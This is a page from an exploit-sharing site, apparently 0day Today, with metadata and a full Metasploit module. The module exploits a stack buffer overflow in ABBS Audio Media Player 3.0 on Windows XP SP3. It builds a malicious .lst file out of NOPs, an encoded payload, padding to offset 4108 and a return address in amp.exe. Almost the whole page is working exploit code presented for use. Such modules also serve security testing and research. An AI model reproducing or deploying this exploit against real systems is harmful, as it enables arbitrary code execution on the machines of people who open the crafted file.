[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

ABBS Audio Media Player v3.0 Buffer Overflow Exploit (MSF)

Author
James Fitts
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16598
Category
local exploits
Date add
04-08-2011
Platform
windows
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow vulnerability
                    found in ABBS Audio Media Player 3.0.
                    The overflow occurs when an overly long string is passed
                    in the lst file.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [
                          'h1ch4m',     # Initial Discovery
                          'James Fitts' # Metasploit Module
                        ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/16976' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN',
                        {
                            'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe
                            'Offset' => 4108
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Mar 14 2011',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'msf.lst']),
                ], self.class)
    end
 
    def exploit
         
        lst = make_nops(50)
        lst << payload.encoded
        lst << make_nops(target['Offset'] - (50 + payload.encoded.length))
        lst << [target.ret].pack('V')
        lst << rand_text_alpha_upper(4)
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(lst)
 
    end
 
end



#  0day.today [2024-12-26]  #